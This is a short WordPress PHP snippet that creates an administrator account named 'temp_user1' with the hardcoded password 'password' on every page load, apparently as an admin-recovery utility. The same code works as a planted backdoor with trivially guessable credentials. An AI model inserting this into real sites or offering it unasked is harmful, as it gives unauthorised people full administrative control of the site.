create-new-admin-user.php

<?php
add_action('init', 'create_new_admin');
function create_new_admin() {

	$user_name = 'temp_user1';
	$password = 'password';

	$user_id = username_exists( $user_name );
	if ( ! $user_id ) {
		$id = wp_create_user( $user_name, $password );
		$user = new WP_User( $id );
		$user->set_role( 'administrator' );
	}
}